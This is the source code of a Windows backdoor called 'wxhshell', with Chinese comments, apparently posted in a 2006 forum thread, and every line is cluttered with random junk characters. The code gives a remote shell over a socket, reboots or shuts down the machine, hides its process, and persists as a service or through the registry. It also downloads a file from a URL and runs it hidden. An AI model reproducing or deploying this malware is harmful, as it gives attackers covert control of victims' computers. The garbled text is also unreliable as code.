  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XAuB.)|  
  } J-lQPMI,  
  else { KK-9[S-  
Dx/!^L02  
    switch(cmd[0]) { zR)|%[sWwQ  
  >'#G$f  
  // 帮助 $rf4h]&<  
  case '?': { ehO@3%z30c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O~F/pJN`  
    break; ;u LD_1%  
  } i70TJk$fs  
  // 安装 gvYib`#  
  case 'i': { {t: ZMUV  
    if(Install()) C)> ])'S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gBRhO^Sz  
    else )f4D2c&VE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B\&;eZY'G  
    break; ~:ddTv?F  
    } Sc "J5^  
  // 卸载 H`4H(KWm  
  case 'r': { gkUG*Zw  
    if(Uninstall()) }9fH`C/m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gH- e0134%  
    else 0;'kv |  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _+ K[1P  
    break; *a Y`[,4#$  
    } *&)<'6  
  // 显示 wxhshell 所在路径 d,au&WZ;_  
  case 'p': { c_xtwdkL9  
    char svExeFile[MAX_PATH]; =?UCtYN,P  
    strcpy(svExeFile,"\n\r"); ~~ ]/<d  
      strcat(svExeFile,ExeFile); GDC`\cy  
        send(wsh,svExeFile,strlen(svExeFile),0); WAiEINQ^)  
    break; {Q8DPkW  
    } .E|Hk,c9  
  // 重启 yEUFK  
  case 'b': { Ak%M,``(L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !]Z> T5$  
    if(Boot(REBOOT)) K^AX=B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XtfO;`   
    else { 9&5\L  
    closesocket(wsh); @YmD 79  
    ExitThread(0); ann!"s_  
    } y'4H8M2?  
    break; Iw~3y{\  
    } VY8 p[`  
  // 关机 z^9Yoqog  
  case 'd': { MJ[#Gq\0R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DG1  >T  
    if(Boot(SHUTDOWN)) Xg.'<.!g0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /E(H`;DG  
    else { 2XrPgq'  
    closesocket(wsh); "Iu[)O%  
    ExitThread(0); $DC*&hqpt  
    } BM{GSX  
    break; ")7,ZN;  
    } L f[>U  
  // 获取shell sChMIbq!Av  
  case 's': { 94r8DkI  
    CmdShell(wsh); aR.1&3fE  
    closesocket(wsh); 9"R]"v3BA  
    ExitThread(0); O!='U!X@P  
    break; WMBntB   
  } <Fb3\T L  
  // 退出 w\=zTHo88  
  case 'x': { ;nG"y:qq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]@1YgV  
    CloseIt(wsh); XhFa9RC  
    break; ke|v|@  
    } 94%gg0azp  
  // 离开 o7VNw8Bp  
  case 'q': { YKLh$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ME~ga,|K  
    closesocket(wsh); &V1N a1`  
    WSACleanup(); S{j|("W"[  
    exit(1); H V<|eL #  
    break; tA$,4B?  
        } I.tJ4  
  } BQ[1,\>  
  } ` =dD6r  
PaV[{ CD  
  // 提示信息 &oiX/UaY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Fqh]1t  
} z h0m3|9O  
  } ?GU/Rf!H#  
4NbX! "0  
  return; S5d:?^PGg  
} RH ow%2D  
3tI=? E#  
// shell模块句柄 8rXq-V_u  
int CmdShell(SOCKET sock) &/R@cS6}'  
{ C.s{ &  
STARTUPINFO si; @/yRE^c  
ZeroMemory(&si,sizeof(si)); lDV8<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j11\t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,T"pUeVJ  
PROCESS_INFORMATION ProcessInfo; s W+YfJT  
char cmdline[]="cmd"; +FQ:Q+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #})Oz| c  
  return 0; $-"AMZ899  
} !`\W8JT+  
Dqe)8 r  
// 自身启动模式 ?LgR8/Io@5  
int StartFromService(void) l9 )iLOj  
{ j>eL&.d  
typedef struct ~j 3B'  
{ Yqmx]7Y4  
  DWORD ExitStatus; #NNj#  
  DWORD PebBaseAddress; >joGG T  
  DWORD AffinityMask; O;f^' N  
  DWORD BasePriority; 4 C[,S|J  
  ULONG UniqueProcessId; fOJk+? c  
  ULONG InheritedFromUniqueProcessId; Rp A76ug  
}   PROCESS_BASIC_INFORMATION; Nv*x^y]  
>OE.6)'Rm  
PROCNTQSIP NtQueryInformationProcess; [Z,A quCU(  
r\vB-nJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,oIZ5u{#,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _baqN!N  
'LFHZ&-  
  HANDLE             hProcess; %9[GP7?  
  PROCESS_BASIC_INFORMATION pbi; (y^oGY;  
Ol9U^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f1=BBQY >  
  if(NULL == hInst ) return 0; x `PIJE  
J[YA1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O 4N_lr~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J><O 51  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L;nRI.  
52m^jT Sx  
  if (!NtQueryInformationProcess) return 0; ?Li^XONz  
a%tm[Re  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `NXyzT`:K  
  if(!hProcess) return 0; dpZ7eJ   
sxgR;gf6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _XXK1H x  
7E Y~5U/4  
  CloseHandle(hProcess); b-]E -$Uz  
oF.Fg<p (  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2P$lXGjh  
if(hProcess==NULL) return 0; 5YC56,X  
I.R3?+tZ  
HMODULE hMod; 10}oaL S  
char procName[255]; PZNo.0M70  
unsigned long cbNeeded; vbqI$F[s  
w?C _LP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )g:UH Ns  
[2 2IF  
  CloseHandle(hProcess); ="@W)"r  
1?(BWX)7  
if(strstr(procName,"services")) return 1; // 以服务启动 Qu!\Cx@  
eN/s W!:P|  
  return 0; // 注册表启动 sl6p/\_w  
} {,IWjt &>  
?MKf=! w  
// 主模块 P)1@HDN==  
int StartWxhshell(LPSTR lpCmdLine) 2@08 V|  
{ `"AjbCL  
  SOCKET wsl; }S*6+4  
BOOL val=TRUE; F Paj p  
  int port=0; -J[zJ4z #  
  struct sockaddr_in door; *^Zt5 zk  
t8i"f L  
  if(wscfg.ws_autoins) Install(); g ywI@QD%#  
*Q!b%DIa$  
port=atoi(lpCmdLine); hNDhee`%6  
(N;Jw^C@  
if(port<=0) port=wscfg.ws_port; (&x~pv"+  
?[RG8,B  
  WSADATA data; vR,HCI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hp-< 8Mf  
,z1# |Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n/$BdFH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C^n L{ZP,  
  door.sin_family = AF_INET; v^@L?{" }8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y{u6t 3  
  door.sin_port = htons(port); yl 0?Y  
{6 #3`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4c2P%X( C  
closesocket(wsl); &tWWb`  
return 1; JTx}{kVO  
} fEVuH]  
n!eg"pL  
  if(listen(wsl,2) == INVALID_SOCKET) { ,9?'Q;20  
closesocket(wsl); X'k w5P!sq  
return 1; ]2h[.qa  
} ^]U2Jd  
  Wxhshell(wsl); !-N!8 0  
  WSACleanup(); iS=T/<|?  
30DpIkf  
return 0; /;OJ=x3i  
N"r ;d+LTL  
}  u`bWn  
n:*+pL;  
// 以NT服务方式启动 N e^#5T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jb7=1OPD_  
{ 'Fonn  
DWORD   status = 0; %i.|bIhmm  
  DWORD   specificError = 0xfffffff; WZm^:,  
#jZ:Ex  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~B=\![  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2~ 'Q#(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #m$H'O[WG\  
  serviceStatus.dwWin32ExitCode     = 0; xje{ kx#  
  serviceStatus.dwServiceSpecificExitCode = 0; yLDHJ}R  
  serviceStatus.dwCheckPoint       = 0; W!X#:UM)  
  serviceStatus.dwWaitHint       = 0; c U{LyZp  
+Og O<P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1Rczf(,aT  
  if (hServiceStatusHandle==0) return; =x7ODBYW^  
Ev^Xs6 }"  
status = GetLastError(); ^k_!+8"q{  
  if (status!=NO_ERROR) k&~vVx  
{ s &.Z;X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; il#rdJ1@t  
    serviceStatus.dwCheckPoint       = 0; e<p$Op  
    serviceStatus.dwWaitHint       = 0; ?0?'  
    serviceStatus.dwWin32ExitCode     = status; PN.6BJvu  
    serviceStatus.dwServiceSpecificExitCode = specificError; kBONP^xI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A%GJ|h,i  
    return; i44:VR|  
  } \6lXsu;I.X  
x _2]G'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ze 4/XR  
  serviceStatus.dwCheckPoint       = 0; ?BLOc;I&a  
  serviceStatus.dwWaitHint       = 0; 26Yg?:kP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >)N#n`  
} }2\"(_  
<5X@r#Lz  
// 处理NT服务事件,比如:启动、停止 ;8T<L[ ^U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .1pEq~>  
{ yr=r? h}  
switch(fdwControl) VKs\b-1  
{ J BwTmOvQ  
case SERVICE_CONTROL_STOP: =?f}h{8x>  
  serviceStatus.dwWin32ExitCode = 0; ,h>w%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kEXcEF_9P  
  serviceStatus.dwCheckPoint   = 0; +]>a`~   
  serviceStatus.dwWaitHint     = 0; bkM$ Qo  
  { z N t7DK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /tUl(Fp J`  
  } 4/h2_  
  return; Gt1Up~\s  
case SERVICE_CONTROL_PAUSE: t]` 2f3UO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q@\_q!  
  break; sbs"26IE  
case SERVICE_CONTROL_CONTINUE: xv*mK1e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gRFC n6Q  
  break; iM9563v  
case SERVICE_CONTROL_INTERROGATE: V\G>e{  
  break; A]J^{h0 k  
}; hD,- !R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AzV5Re8M  
} wH`@r?&  
n;=A'g|Q  
// 标准应用程序主函数 e7qT;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t/$xzsoJZr  
{ 3Yf$WE8#l  
gON6jnDO  
// 获取操作系统版本 {c1qC zM4  
OsIsNt=GetOsVer(); |`okIqp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4ku/3/ 6  
ex=~l O  
  // 从命令行安装 ]S:@=9JB'  
  if(strpbrk(lpCmdLine,"iI")) Install(); H|!s.  
v]J# SlF  
  // 下载执行文件 i f"v4PHq  
if(wscfg.ws_downexe) { \%C[l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yjr@v!o  
  WinExec(wscfg.ws_filenam,SW_HIDE); m3WV<Cbz  
} w\mF2h  
N<{ `n;  
if(!OsIsNt) { BmM,vllO  
// 如果时win9x,隐藏进程并且设置为注册表启动 L!p|RKz9X  
HideProc(); Z-<u?f8{*  
StartWxhshell(lpCmdLine); joA+  
} b1#=q0Zl  
else 35>}$1?-6  
  if(StartFromService()) |. 6@-h~8  
  // 以服务方式启动 f@{C3E dd  
  StartServiceCtrlDispatcher(DispatchTable); IF:M_   
else 6Te}"t>  
  // 普通方式启动 m7"f6zSo(  
  StartWxhshell(lpCmdLine); d"78:+  
47RYpd  
return 0; q>[% C5  
}
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只看该作者 1 发表于: 2006-10-10
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